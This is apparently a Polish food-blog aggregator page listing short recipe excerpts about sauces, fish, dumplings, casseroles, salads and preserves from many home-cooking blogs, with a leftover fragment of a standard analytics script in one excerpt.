„Ryby są super” przepisy Karola Okrasy i Doroty Wellman 209

długie zimowe wieczory z kubkiem gorącej herbaty bądź czekolady , a nuż może zamiast tradycyjnego karpia, na wigilijny stół przyrządzicie np: Lina w migdałach z sosem rodzynkowym bądź sandacza w suszonych grzybach Już w najbliższym czasie zabieram się za testowanie przepisów, które pojawią się również na blogu. Post „Ryby są super

Marta Gotuje
Warzywo - Dominika Wójciak i KONKURS!! 183

rabarbaru! Następnie przeprowadza nas przez buraka i botwinkę, bób, kapustę, ziemniaki, marchewkę, kalafiora, cukinię, fasolę, dynię, a na samym końcu znajdziemy różne ciekawe dodatki do warzyw - typu pieczona feta, sos tahini czy przepis na melasę z granatów. Ta książka to 111 warzywnych propozycji! Wydanych w pięknej książce i opatrzonych bardzo apetycznymi zdjęciami, które zresztą zrobiła autorka książki! Świetna robota

Plate of Joy
Warsztaty bezglutenowe z Inką i Tomaszem Jakubiakiem 255

soczewicą i świeżymi warzywami. Ja z Angeliną zająłem się pstrągiem, a Edyta z Martą sałatkami. Pozostałe grupy przygotowały : Pierogi z mąki gryczanej z kaszą jaglaną, mielonym indykiem i sosem grzybowym. Kopytka z pieczonej dyni z estragonem, gulasz z gęsich serc i boczniaków. Żółte curry wegetariańskie z tajskimi warzywami i smażonym ryżem Do każdego dania dodawana była kawa Inka i nadawała

Parowar Faceta
Gołąbki z ziemniakami, dynią i boczkiem, z dodatkiem pikantnych pomidorów 167

odrobinę, gdyż farsz może być luźny. Wystarczy jednak, ze gołąbki nabiorą temperatury odpowiedniej do jedzenia, a farsz ładnie zwiąże. Gołąbki są w smaku dość delikatne, więc idealnie, zamiast tradycyjnego sosu, będą pasowały małe pikantne pomidorki . Papryczkę przekrawamy, wycinamy gniazdo nasienne, płuczemy w zimnej wodzie. Osuszoną siekamy drobno. Na patelni rozgrzewamy olej, na gorący wrzucamy papryczkę wraz z połówkami pomidorków

Codzienna kuchnia niecodzienna
Naleśniki z Serem na Musie Truskawkowym 204

Kolejna wariacja ze zwykłymi naleśnikami z białym serem. Po co zalewać naleśniki sosem, jeśli można odwrócić kolejność i ułożyć naleśniki na musie? Mus truskawkowy podprawiony syropem truskawkowym Eterno stał się bardziej wyrazisty w smaku, a naleśniki zniknęły z talerzy w zastraszającym tempie. Nikt by nawet nie przypuszczał, że tego dnia nie miałam weny na gotowanie, a naleśniki to naprawdę kilka

Blondynka Gotuje
Sałatka z gruszki i pietruszki 230

tworzenie własnej wersji, zresztą na tak długie gotowanie nie mam teraz czasu (niestety)! Za to sałatki zawsze robi się w mig. Wystarczy wyjąć z lodówki swoje ulubione składniki, przygotować sos i włala! Obiad gotowy. Do tej sałatki możecie dorzucić coś od siebie- większą porcje gruszki

wegetalerze
Gulasz z żołądków drobiowych 254

żołądków i dusić jeszcze ok 30minut az marchewka i żołądki będą mieciutkie. Gdyby płyn podczas duszenia za bardzo odparował należy dolać wody. Mąkę wymieszać z odrobiną wody i zagęścić sos. Doprawić do smaku jeśli jeszcze potrzeba i dodac posiekana natkę pietruszki. Gotowy gulasz podałam z kaszą jęczmienną i ogórkiem kiszonym

Monia miesza i gotuje
KNEDLE SZPINAKOWE Z SEREM – szybki, smaczny obiad! 245

prażonych orzechów włoskich są fantastycznym pomysłem na obiad. Gwarantuję , że nawet Ci, którzy za szpinakiem nie przepadają z przyjemnością sięgną po dokładkę! Ps. zamiast masła można je oblać np. sosem z sera pleśniowego – obłęd! SKŁADNIKI : ( 3 porcje ) * czerstwe bułki – 200 g * szpinak – 150 g * jajko – 2 szt * cebula – 1 szt * czosnek – 2 ząbki * bułka

Ostra na Słodko
Książka RYBY SĄ SUPER, czyli przepisy Karola i Doroty na ryby i owoce morza. 193

jest też karp duszony w kiszonej kapuście :) GRILL - dobrze się zapowiada m.on. łosoś w papilotach z młodą kapustą z kaparami i suszonymi pomidorami, czy dorada po grecku z sosem tzatziki. OWOCE MORZA - są mule, homary, krewetki. Zaintrygował mnie koktajl z homara, ale zostanę raczej przy krewetkach :) Jest w czym wybierać i na pewno jeszcze przed świętami, a na święta obowiązkowo

bistro mama
Makaronowa zapiekanka z cukinii i boczku 202

elementem polskiego krajobrazu kulinarnego. Nic dziwnego, łatwe są w przygotowaniu i wymagają mało wysiłku, a efekt często jest naprawdę dobry. Tym razem proponujemy połączenie cukinii z boczkiem i klasycznym sosem jajeczno-jogurtowym

Milion Smaków
,,Tarta dyniowa z boczkiem’’ 161

jajkami. Doprawiamy solą, pieprzem i gałką. Formę lekko natłuszczamy i wykładamy płat ciasta posmarowany klarowanym masłem za pomocą pędzla. Czynność tę powtarzamy na kolejnych plastrach ciasta. Przykrywamy farszem, zalewamy sosem. Pieczemy około 40 minut w temp. 200ºC. Do wykonania tarty wykorzystałam praktyczną, prostokątną formę do tarty z wyjmowanym dnem. Blacha będzie niezastąpiona dla każdego miłośnika wypieków. Idealna do pieczenia smacznych

Podróż w kulinaria
Karczek peklowany i pieczony 236

przez około 15 min.) potem przez około 45  min. w temp. 170*C (przykryłam,a na 20 min przed końcem pieczenia zdjęłam pokrywę ). Podczas pieczenia mięsa powstało sporo sosu, jeszcze ciepły można zmiksować, zagęścić np. śmietaną z mąką i wykorzystać do polania makaronu czy kaszy

Proste Potrawy
Warzywny tort dla weganina na diecie dr Dąbrowskiej. KAPUSTA BIAŁA. 275

międzyczasie mieszamy w kapuście, która coraz bardziej mięknie i zmienia kolor na coraz ciemniejszy, aż wygląda prawie jak bigos, - dolewamy trochę wody i przykrywamy patelnię, żeby zrobiło się trochę sosu, - na koniec skrapiamy kapustę sokiem z połówki cytryny. Wszystko trwało niecałą godzinę (od obrania cebuli do wyłączenia ognia pod patelnią), w międzyczasie robiłam inne rzeczy i wyjątkowo nie spieszyło

Wegański blog WSZYSTKO JEST W GŁOWIE
O soli. Sól morska i kamienna, przepisy na sól smakową – wykańczającą 207

stać się sypka i błyszcząca, nie może być lepka. • SÓL CZOSNKOWA – do grzanek, masła, pieczywa. Do ryb i owoców morza. Do gotowanej kukurydzy. Pasuje tez do twarogu, duszonych grzybów, sosów i dań z fasoli. Sól łączymy z drobno posiekanym czosnkiem w moździerzu lub blenderze. Mieszankę suszymy w piekarniku, w temperaturze 100⁰C. Sól powinna stać się sypka i błyszcząca

Karo in the Kitchen
Recenzja książki "Pyszne na słodko" Ani Starmach 211

sprawiają, że od samego patrzenia robimy się głodni... W książce znajdziemy również bardzo przydatne porady, które ułatwią nam przygotowanie deserów, np. jak zrobić karmel, domowy cukier waniliowy czy sos czekoladowy. Na samym końcu jest miejsce, w którym możemy spisać nasze ulubione, sprawdzone przepisy, by mieć je zawsze pod ręką wraz ze słodkimi pomysłami Ani Starmach. Ta opcja bardzo mi się

Z miłości do słodkości
Słodka marchewka gotowana z karmelizowaną cebulką 166

cytryny. Całość dusimy na małym ogniu, do miękkości, czyli około 30 minut, mieszając. Na koniec doprawiamy solą i pieprzem. Tuż przed podaniem dodajemy jogurt naturalny i mieszamy. Dzięki niemu sos zgęstnieje, a całość nabierze kremowego posmaku. aakuku

aa-kuku - czyli jak żyć zdrowo i pysznie!
Szynka peklowana i pieczona w ziołach 427

przykrywała. Garnek odstawić na 3 dni w chłodne miejsce, po tym czasie wyciągnąć i osuszyć. Przyprawy i zioła: 2 łyżeczki papryki słodkiej 2 łyżeczki papryki ostrej 2 łyżeczki sosu sojowego 4-5 ząbków czosnku 4 łyżeczki majeranku 1 łyżeczka tymianku Po zioła, przyprawy i sól peklową zajrzyjcie na stronę  www.Skworcu.com.pl 1. Połączyć ze sobą przyprawy, czosnek przepuścić przez praskę

Apetyczna babeczka
DOMOWY PRZECIER POMIDOROWY 215

zupy staram się każdego roku przygotować sobie kilka słoiczków domowego przecieru ...  a wtedy przygotowanie zupy trwa znacznie krócej. Poza tym taki domowy przecier wykorzystuję z powodzeniem również do sosu pomidorowego, bo cokolwiek przyrządzimy z jego dodatkiem -  kulinarny sukces murowany! Potrzebujemy:   pomidorów ( najlepiej odmiany lima lub malinowe) trochę soli trochę cukru szczyptę pieprzu Ilość dodatków uzależniona jest

Walijskie Pichcenie
Schab po bałkańsku 251

dusić następne 10 minut. Po tym czasie dodać ogórka i przeciśnięty przez praskę czosnek, dusić jeszcze ok 10-15 minut do miękkości mięsa. Doprawić do smaku. Uwaga: gdyby sos za bardzo gęstniał, wystarczy podlać go gorącą wodą. Inspiracja: Ulubione przepisy

Kto ugości moich gości?
Zapiekanka kebab wersja 2 667

Dziś nadszedł czas na zapiekankę kebab numer dwa. Pierwsza była przepyszna przepis znajdziecie tu . Dziś kolejna zapiekanka zupełnie inna niż poprzednia bo z sosem czosnkowym i ziemniakami. Piekłam ją pod przykryciem 50 minut w 190 stopniach, pod koniec pieczenia zdjęłam pokrywkę aby ser się lekko przypalił. Czytaj więcej

Pychotkaaa
Śledzie po kaszubsku 252

nich odparuje. Dodajemy do cebuli razem z koncentratem pomidorowym,miodem,,majerankiem,octem i olejem.Całość doprawiamy solą i pieprzem .Smażymy jeszcze przez 5 minut na małym ogniu. Do ostudzonego sosu dodajemy pokrojone śledzie. Śledzie najlepiej smakują po kilku dniach

Bajeczna Kuchnia
Mizeria ze szczypiorkiem 187

Prosta i bardzo smaczna sałatka do obiadu z ogórków z dodatkiem szczypiorku i cebulki z sosem śmietanowym . Składniki: 0,5 kilograma ogórków zielonych pęczek szczypiorku 1 cebulka 0,5 szklanki śmietany 18% sól,pieprz cukier sok z cytryny Sposób przygotowania: Ogórki obieramy , kroimy nożem w cienkie pasterki. Delikatnie solimy i pozostawiamy na kilka minut aby ogórki zmiękły, delikatnie odciskamy

Bajeczna Kuchnia
Leczo z cukinii 157

Tradycyjne węgierskie danie z warzywami i kiełbasą w sosie pomidorowym. Jest bardzo smaczne i sycące, idealne do pieczywa lub ryżu. Składniki: 1 duża cukinia 250 g kiełbasy wiejskiej 1 czerwona papryka 1 cebula 2 ząbki czosnku 2 pomidory 2-3 łyżki koncentratu pomidorowego słodka i ostra papryka sól i pieprz cukier chili olej do smażenia Sposób przygotowania: Cebulę i czosnek

Bajeczna Kuchnia
Kopytka dyniowo-ziemniaczane 147

Kopytka dyniowe są bardzo smaczne, mają ładny kolor, możemy je podawać z różnymi sosami jako dodatek do obiadu. Składniki: 1 kilogram ugotowanych ziemniaków 500 gram puree z pieczonej dyni 400 gram mąki pszennej 3 jajka sól olej mąka do podsypania stolnicy Sposób przygotowania: Ugotowane ziemniaki mielimy na sitku o drobnych oczkach lub przeciskamy przez praskę. Przekładamy na stolnicę, dodajemy puree

Bajeczna Kuchnia
Spaghetti z małżami 223

oleju, pod koniec dodać czosnek przeciśnięty przez praskę. Chwilę podsmażyć, dodać pomidory, doprawić do smaku. Dusić na małym ogniu, od czasu do czasu mieszając, aż zgęstnieje i powstanie sos. Na koniec dodajemy  małże, ugotowany makaron, wrzucamy pietruszkę. Wszystko razem mieszamy. Podajemy od razu, smacznego

magiczna kuchnia Kasi
Zapiekanka z mięsa mielonego i cukinii 185

cukinię, odsączona z wody, a następnie farsz. Układamy warstwami, ostatnia warstwa to stary ser. Zapiekamy w piekarniku nagrzanym do 200 stopni ok. 30 min.  Można podawać z sosem jogurtowym  lub surówką. SMACZNEGO  Czekam na Państwa opinie i cenne rady. Jeśli zostawicie tutaj swój ślad, łatwiej mi będzie trafić

W kuchennym oknie Ewy
Pieczona łopatka marynowana w musztardzie 141

ilość, dodajemy 50 ml śmietany oraz 1 łyżeczkę mąki. Mieszamy i ponownie umieszczamy w garnku. Chwilę gotujemy aby zgęstniało. Ewentualnie doprawiamy solą. Mięso kroimy w plastry i polewamy przygotowanym sosem. SMACZNEGO. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments

Smaki Ewy
Roladki schabowe z papryką, fetą i suszonymi pomidorami (pieczone) 403

naczyniu i została potem jeszcze odsączona. To jest taka nieco odchudzona wersja obiadowa :) Z powodzeniem możemy je podać na uroczysty niedzielny obiad lub świąteczne przyjęcie. Ja podałam z sosem z pieczonej papryki z fetą i ziemniakami. Składniki: 1/2 kg schabu wieprzowego bez kości 1/2 papryki czerwonej 1/3 kostki sera feta półtłustego (90g) kilka suszonych pomidorów z oleju Przyprawy: sól pieprz

Kolorowy Przepisownik
Jajka w sosie 331

proste, tanie i smaczne. Każdy z łatwością je przyrządzi, spójrzcie na tę przekąskę, kilka minut przed przyjściem gości można ją przyrządzić, pięknie wygląda i doskonale smakuje, aksamitny sos wspaniale się wkomponował w to danie, spróbujcie! Składniki: 4 jajka 3 ogórki korniszony 1 mała papryka czerwona 3 łyżki kukurydzy konserwowej 1 czerwona cebula 3 łyżki majonezu 2 łyżki jogurtu naturalnego szczypta

kgwjanczewo
Sernik z karmelem i orzechami pekan 188

www.facebook.com/Di.gotuje     http://digotuje.blogspot.com   Przepis pochodzi z moich starych zapisków. Sernik robiłam już kilkakrotnie i zawsze smakuje rewelacyjnie.  Idealnie komponuje się z delikatnym, lekko solonym sosem karmelowym i łagodnymi orzechami pekan. Jednym słowem - pychotka. Jeśli macie trudności z dostaniem orzechów pekan - zastąpcie je innymi, które lubicie. Wcześniej ciasto robiłam z włoskimi (moimi "najukochańszymi").     Spód

Di gotuje
Smaki dzieciństwa - KONKURS 137

koniecznie są moje ulubione smaki... Boczek, który tata układał na kanapki, a później kroił na tak maleńkie kawałki, żeby dało się to przełnąć bez gryzienia (nienawidziłam tego). Sosy... musztardowy i chrzanowy, których nikt nie potrafi podrobić... Barszcz biały - nie jadłam lepszego... Kurczak z rożna ze skórką, która tak pysznie chrupała, podawany na każdy niedzielny obiad, koniecznie przy akompaniamencie "Koncertu

Codzienna kuchnia niecodzienna
Sałatka z suszoną kiełbasą i jajkiem 187

oliwy sól pieprz Sałatę umyć i poszarpać do salaterki, cebulę pokroić w piórko, jajko na ćwiartki, a kiełbasę z bardzo cieniutkie plasterki. Musztardę wymieszać z octem i oliwą, dodać sos do sałatki, doprawić solą i pieprzem, posypać posiekaną zieleniną

Gotowanie jest łatwe
Pulpety wegetariańskie z dyni, tofu i ciecierzycy 269

papierze do pieczenia. Pulpety wegetariańskie z dyni, tofu i ciecierzycy Pieczemy 25 minut w 180 stopniach. Możemy podawać z makaronem, ryżem lub na sałacie. Możemy zrobić do nich sos pomidorowy i polewać je nim. Smacznego :) Pulpety wegetariańskie z dyni, tofu i ciecierzycy

Pyza i Surówka
Chlebki z patelni - flatbread 244

różnych krajach dają subtelne ale wazne różnice w konsystencji i smaku. Dobrze sprawdzają się jako przekąska podawane same, przekładane odpowiednimi dodatkami czy podawane jako ciepła przekąska w towarzystwie sosów, w których można je maczać. No i robi się je naprawdę szybko

Milion Smaków
Lody bananowe z wegańskim karmelem 214

tylko chcesz, ja nie byłabym sobą, gdybym nie dodała masła z orzechów. Banany posiadają właściwości wychładzające, niepożądane o tej porze roku, idealnie więc będzie serwować je z ciepłym złocistym sosem karmelowym – wówczas deser należy pochłaniać od razu, ponieważ bananowe lody dość szybko topnieją. Aby opóźnić ten proces, miski w których zamierzasz podać lody, możesz na moment wstawić do zamrażarki. Składniki

Roślinna - blog wegański
Dyniowe risotto z krewetkami chili- lemon 144

świeżo zmielony pieprz 300 gram krewetek (ulubionych) marynata do krewetek: 1 łyżka sambal oelek, sok z 1/2 limonki, skórka otarta z 1 limonki, 1 łyżka syropu klonowego, 1 łyżka sosu sojowego 1 łyżka oliwy z oliwek do smażenia krewetek Składniki marynaty mieszam i wrzucam do niej krewetki. Marynuję 20 minut, następnie smażę na oliwie z oliwek przez 3-4 minuty

Mango Papaja
Kluski śląskie (tzw. białe kluski) ze skwareczkami 199

kluskę delikatnie spłaszczyć i kciukiem zrobić na środku dziurkę. Kluski wrzucać na wrzącą posoloną wodę. Gdy wypłyną, pozostawić jeszcze chwilę w wodzie (na bardzo słabym ogniu). Podawać  z sosem mięsnym, stopionym masłem a w wersji jest to kombinacja ze skwarkami. Uwaga: kluski śląskie można nadziewać  farszem z gotowanego, zmielonego mięsa rosołowego, z dodatkiem cebuli podsmażanej, pieprzu, soli

Pychotkaaa
Danie obiadowe z makaronu i pieczarek dla leniwych 222

kurczaka torebka makaronu rurki muszelki lub inny kształy sól pieprz pół kostki masła Wykonanie: Pieczarki opłukać w zimnej wodzie pokroić w plasterki dusić na maśle tak jak na sos najlepiej na dużej patelni z solą pieprzem oraz innymi przyprawami. W międzyczasie ugotować paczkę makaronu. Pierś z kurczaka pokroić w kostkę i usmażyć na małej ilości tłuszczu

Pychotkaaa
Ogórki z przyprawą do grilla do słoików na zimę 145

moja tegoroczna nowość, zalewa wyszła bardzo dobra smakuje bardzo podobnie jak sos sałatkowy. Jedyny błąd jaki popełniłam to użycie słabej przyprawy do grilla, co prawda wyszło dobre ale mało wyraziste. Czytaj więcej

Pychotkaaa
Ogórki w pomidorach z ziołami do słoików 185

Coś przepysznego, nie wiem co lepsze ogórki czy sos pomidorowy, połączenie jest obłędne! Polecam. Czytaj więcej

Pychotkaaa
Sos pomidorowy wg Siostry Anastazji 189

Witam po małej przerwie, niestety przygotowane wcześniej zdjęcia i przepisy zginęły razem ze starym laptopem. Dziś jednak coś bardzo wykwintnego czyli nietypowy sos pomidorowy pochodzący z książki 153 przetwory i dania mięsne Siostry Anastazji - czyli to co się uratowało bo było na aparacie. Czytaj więcej

Pychotkaaa
Tosty z serem i pieczarkami 188

masłem ku górze. Przykrywamy pokrywką. Po kilku minutach, gdy ser zacznie się rozpuszczać, obracamy tosta na drugą stronę. Mieszamy majonez z ketchupem w proporcjach 1:1 i podajemy, jako sos. To bardzo fajny sposób na urozmaicenie naszej kolacji:) SMACZNEGO Ania i Marcin

Ania i Marcin gotują
Pieczone jabłka z żurawiną, orzechami i miodem 211

Jest źródłem wielu cennych witamin i minerałów. Żurawina to doskonały środek wzmacniający odporność organizmu, szczególnie w okresie jesienno - zimowym. W kulinariach suszona żurawina jest wykorzystywana między innymi do przygotowywania sosów, herbatek, ciastek, ciast, deserów, czy mięs. Żurawina o smaku granatu ma bardzo ciekawy smak. Kto raz ją spróbuję będzie po nią sięgał codziennie, ponieważ jest przepyszna. W mojej kuchni będzie

Tradycyjna kuchnia Kasi
JESIEŃ W MEDIOLANIE – czyli jak Nestlé spełniło moje marzenia / day 3 216

Zakupiłyśmy pamiątki … zjadłyśmy ostatnią włoską pizzę ( ta z Anchois przepyszna! ) i wylądowałyśmy w Food Markecie – sklepie z prawdziwymi, oryginalnymi i najlepszymi produktami z Włoch! Sery, wędliny, makarony, sosy, dodatki, świeżo owoce, warzywa i pieczywo – kusiły na każdym kroku i zachwycały! Ajj jak jak bym chciała mieć taki sklep koło domu! :D Popatrzcie jakie cuda można tam było

Ostra na Słodko
Rolada z indyka z pomidorami i szpinkiem 254

nagrzanego piekarnika na 160 C. Piec ok 1,15 godz. Po 45 minutach wlać wino. Na ostanie na ostatnie 15 minut zdjąć pokrywę. Podawać z ulubioną kaszą a powstałym sosem polać całość. * Mięsa nie solę bo szynka, pasta i szpinak są dość słone

Delicious Titbits
Kluski śląskie ze surowymi ziemniakami. 188

kluseczki z dodatkiem surowych ziemniaków i były pyszne! Ponieważ bardzo lubię "szare kluski" ze surowych ziemniaków, to te też bardzo przypadły mi do gustu! Dla mnie najpyszniejsze z ciemnym sosem i kapustą kiszoną, kawałek dobrego mięska ... - obiad pierwsza klasa. SKŁADNIKI: 2 jajka 10 średnich ziemniaków 1/2- 1 szkl. mąki pszennej  2 łyżki mąki ziemniaczanej sól WYKONANIE: 5 ziemniaków gotujemy

Kuchnia Beaty
.1140. niezapomniany dzień 122

dyniowo-kokosowy krem z fasoli z sosem kakaowym~ Wczorajszy dzień był cudowny <3 Na pewno długo go nie zapomnę... :D Dziękuję wszystkim za wspaniały czas! Dzisiaj nie starczy mi czasu aby wszystko opisać, bo za dużo się działo, ale mam i zdjęcia i film wiec niedługo na blogu relacja

breakfast of dreams
Dyniowe spätzle 163

Späzle, niewielkie kluseczki przygotowane z mąki i jajek. Bardzo proste, smacze i tanie danie, które przygotujesz w kilka minut. Wspaniały dodatek do obiadu, przede wszystkim do dań z sosami lub jako samodzielne danie. Na blogu pojawił się już przepis podstawowy na Spätzle pełnoziarniste , Spätzle orkiszowe pełnoziarniste oraz w zielonym kolorze Spätzle z czosnkiem niedźwiedzim. Tym razem zapraszam na kluseczki

Gotuj zdrowo!Guten Appetit!
Kalafior z jajkami 220

przepisy, a jeszcze bardziej stare książki kucharskie. Mam kilka takich, które znalazłam u mojej babci. Parę przepisów z udziałem kalafiora znajdziecie na moim blogu. Szczególnie polecam kalafior zapiekany w sosie serowym  , który jest moim numerem 1. To kwiatowe warzywo podałam z ziemniakami i kotlecikami drobiowymi. Proponuję i Wam tak pyszny obiadek. Składniki 1 dorodny kalafior 3 jajka ugotowane

O kuchni z uczuciem
Leczo z kiełbasą, szynką i cukinią 210

kolejne 5 min do zagotowania. Dołożyć pomidory z puszki, koncentrat pomidorowy, sok pomidorowy oraz przyprawy. Ilość soku pomidorowego zależy od gustu - ja osobiście lubię gdy w leczo jest dużo sosu do maczania pieczywka :) Dusić pod przykryciem ok 10 minut - lub dłużej - aż warzywka będą miękkie. Nie szaleć z duszeniem, jeśli chcemy mieć warzywka na półchrupko. Podawać z ulubionym pieczywkiem, koniecznie

Grunt to przepis!
Pieczeń rzymska 187

delikatnie wysmarować masłem i wyłożyć przygotowaną masą mięsną. Zapiekać w rozgrzanym piekarniku (180 stopni) przez około 40-60 minut. Podawać na ciepło lub zimno, np. z sosem tatarskim .   Post Pieczeń rzymska pojawił się poraz pierwszy w Pociąg Do Kuchni

Pociąg Do Kuchni
Pieczona karkówka 220

stronach. Umieść karkówkę w małej brytfance i posmaruj pomadą. Nastaw piekarnik na 150ºC. Wbij termometr w mięso i piecz mięso dopóki nie osiągnie 70-75ºC. Polewaj mięso sosem z pieczonego mięsa. Wyjmij mięso z piekarnika przykryj folią i odczekaj 15 minut aby mięso zachowało soczystość. Po 15 minutach możesz pokroić mięso w plastry

codojedzenia
Zupa ogórkowa na wędzonych nóżkach 141

włożyć nogi, włoszczyznę i przyprawy. Zalać zimną wodą i gotować, aż mięso będzie miękkie. Wywar przecedzić, dodać do niego ogórki starte na średniej tarce. Zagotować. Można dodać do smaku sos z kiszenia ogórków. Można podać ze śmietaną. zastawa

królestwo garów
Polędwiczki wołowe w sosie pomidorowym 159

posiekane pomidory, dodać pieprz, usmażony czosnek, wlać wino i wsypać oregano Dusić na niedużym ogniu, stale mieszając przez około 10 min., doprawić ewentualnie solą i cukrem Do tak przygotowanego sosu włożyć usmażone wcześniej mięso, dusić razem około 2-3 min. Mięso można podawać nie do końca tradycyjnie. tzn. tak jak u mnie. Z przesmażoną na patelni cukinią i wcześniej ugotowanym

Proste Potrawy
Naleśniki z dynią, pieczarkami i wędliną 253

sera. Zawijać w tzw. "chusteczkę" (tj. na pół i jeszcze raz na pół) i obsmażyć na złoto z każdej strony (aż ser w środku się rozpuści). Podawać np. z sosem czosnkowym lub keczupem

My simple kitchen
Pasta z pieczonej dyni z suszonymi pomidorami i orzechami włoskimi 183

jadłam już na wiele sposobów, a wszystkie znajdziecie na blogu. Wczoraj z połówki dyni hokkaido, którą oczyściłam i podzieliłam na mniejsze kawałki, zrobiłam kolację. Tak podpieczoną dynię zajadałam z sosem balsamicznym. Połowę porcji zostawiłam na dzisiaj i powstała pasta. Dyniowe przepisy: Mus dyniowo - jabłkowy z płatkami owsianymi i ziarnami chia Pieczona dynia z cukinią w ziołach z kaszą jęczmienną Pesto

Moja smaczna kuchnia
Z Kurczakiem na Świeżej Kapuście 233

konserwowych 10 Dag Sera Żółtego tartego 1/2 Czewronej Cebuli 3 łyżki przyprawy Gyros pieprz i sól 1 łyżeczka Oleju Rzepakowego  Sposób Przygotowania:           Do sosu dodaję ketchup, majonez i 3 łyżeczki przyprawy curry. Wszystko Dokładnie Mieszam

Gotowanie Patki
Wyniki konkursu czekoladowego 180

kolory pasujące do kuchni w czekoladzie i granat, który i mi kiedyś szczęście przyniósł :) Miejsce III - decyzją producenta przypraw Bella-Bis trafia do... Joanny Machynia za kaczkę z sosem winno-czekoladowym " Wybraliśmy tą Panią dlatego , że pokusiła się o coś innego z dań obiadowych - a nie deserów. Co było trudne ponieważ tematem konkursu była czekolada. Dla nas to najlepszy przepis

Kuchnia w czekoladzie
ROSÓŁ Z PULPETAMI 181

wrzątek wrzucamy pulpety, gotujemy 3 minuty. Nie wrzucaj nigdy mięsa na zimną wodę,  mięso odda smak do wody. Tak robimy, gdy chcemy uzyskać wywar na zupę lub sos. Na  każdą porcję rosołu daje 4 pulpety i trochę świeżej natki

KuchcikoweLove
Szybka sałatka meksykańska 167

potem możemy już tylko rozkoszować się jej pysznym smakiem :) Polecam zabranie sałatki na drugie śniadanie do pracy lub szkoły! Składniki: puszka czerwonej fasoli puszka kukurydzy puszka tuńczyka w sosie własnym 2-3 ogórki kiszone 1-2 papryki czerwone 2 łyżki majonezu (można ewentualnie dołożyć) papryka słodka papryka ostra pieprz ziołowy sól Wykonanie: Kiszone ogórki pokroić w kostkę. Paprykę oczyścić

MyCookBook.pl
Trójkątne kanapeczki z tuńczykiem 185

nawet są lepsze! Więc po co przepłacać ;) Kanapki robi się szybko i można zabrać je np. na majówkowy piknik :) Składniki: kilka kromek pieczywa tostowego 2 puszki tuńczyka w sosie własnym ok. 16 szt. cebulek marynowanych ok. 15 szt. zielonych oliwek 2 małe ogórki kiszone 2 łyżki majonezu 1/4-1/2 łyżeczki chilli (w zależności jaką „ostrość” preferujecie) sól pieprz Wykonanie: Tuńczyka odsączamy

MyCookBook.pl
Grillowane podudzia z kurczaka (bez kości) w orientalnym stylu podane z mieszanką sałat 179

innego jak wrzucić kurczaka na ruszt :) W zależności od stopnia rozpalenia grilla i tego jak bardzo wypieczone mięso lubicie, opiekamy podudzia od kilku do kilkunastu minut z każdej strony. Sos do sałatki możemy przygotować dzień lub kilka godzin wcześniej przed planowanym spożyciem. Wystarczy połączyć ze sobą przeznaczone na niego komponenty (najlepiej zrobić to w słoiku ze szczelną zakrętką), a następnie

MyCookBook.pl
Penne ze szpinakiem, suszonymi pomidorami, cukinią i parmezanem 196

jest wprost wyborny! Połączenie świeżych liści szpinaku, z suszonymi pomidorami oraz chrupiącą cukinią przedstawia wyjątkowy bukiet smaków. Natomiast tarty, roztapiający się parmezan tworząc pewien rodzaj kremowego sosu, fantastycznie spaja ze sobą makaron penne z pozostałymi składnikami. Koniecznie musicie spróbować! To danie polecam także tym, którzy nie przepadają za szpinakiem (bardzo prawdopodobnie, że się do niego przekonają – przetestowane na kilku osobach

MyCookBook.pl
Zupa warzywna z pesto, świderkami i boczkiem 134

zmiękną, dodajemy do zupy ugotowany makaron oraz boczek. Gotujemy jeszcze kilka minut. Zupę doprawiamy solą i pieprzem. Zdejmujemy z ognia. Gorącą zupę rozlewamy do miseczek, na środku umieszczamy łyżkę sosu pesto (przepis na domowe pesto jest już na blogu) i posypujemy całość odrobiną świeżych, posiekanych ziół. Zupę można także posypać startym parmezanem. Smacznego

MyCookBook.pl
Jogurt grecki z musli i borówkami polany miodem 153

swojej kuchni jogurt grecki. Uwielbiam jego smak i gęstą, kremową konsystencję. Niemal zawsze zastępuję nim kwaśną śmietanę, czy to podczas pieczenia ciast, czy zabielania zup lub jako bazę sosu do sałatek. Coraz częściej zajadam się nim dodając ulubione, chrupiące musli i owoce, polewając całość płynnym miodem. Takie śniadanie (lub lekka kolacja) jest pyszne, lekkie i zdrowe, a na dodatek przygotowuje

MyCookBook.pl
Zrazy wołowe 180

kiszonych ogórków oraz cebuli. Część z nich uprzednio posmarowałam niewielka ilością ostrej musztardy. Zrazy wyszły zwarte, miękkie i soczyste. Podczas serwowania można polać je wytworzonym podczas gotowania pysznym sosem oraz podać z dodatkami w postaci gotowanych ziemniaków lub różnego rodzaju kasz. Składniki: 1 kg wołowiny (np. udźca) 2-3 cebule (w zależności od wielkości) kilka kiszonych ogórków mąka (do obtoczenia

MyCookBook.pl
Szczupak zapiekany z prawdziwkami 172

przełożyłam do naczynia. Grzybki oczyściłam,umyłam, pokroiłam w plasterki, smażyłam na wolnym ogniu z dodatkiem niewielkiej ilości masła. Zalałam dwiema szklankami bulionu, zagotowałam, dodałam śmietanę, ponownie zagotowałam. Tak przygotowanym sosem polałam rybę. Zapiekałam w temp. 180 stopni przez 25 minut

Darcia w kuchni
Kopytka ziemniaczane nadziewane mięsem 221

super połączenie mięsa mielonego i kopytek – przepis znalazłam w notatkach mamy, niestety nigdy taką potrawę nie podała, albo ja nie pamiętam. Kopytka ziemniaczane nadziewane mięsem mielonym polałam słodkim sosem marchewkowym. To był strzał w dziesiątkę – kopytka smakowały zarówno bardzo dobrze na ciepło jak i na zimno, […] The post Kopytka ziemniaczane nadziewane mięsem appeared first on Magiczny Garnek

Magiczny Garnek
Risotto z cukinią i gruszką w czerwonym winie 138

wrzucamy na nią pokrojoną w ósemki gruszkę. Przesmażamy około 5-6 minut. Zalewamy gruszki winem dodajemy cytrynę i jałowiec. Gotujemy około 10 minut. Gotowe risotto wykładamy na talerz, polewamy sosem z czerwonego wina i układamy na szczycie gruszki. Smacznego

Kuba Gotuje
Placki mięsno-warzywne czyszczące lodówkę. 193

ilością tłuszczu 4-5 minut z każdej strony na niezbyt dużym płomieniu. Odstawiamy na ręcznik papierowy, odciągamy nadmiar tłuszczu. Można podawać na zimno jak i gorąco z ketchupem bądź sosem czosnkowym

Jedz zdrowo żyj zdrowo!
Sałatka warstwowa z brokułami 225

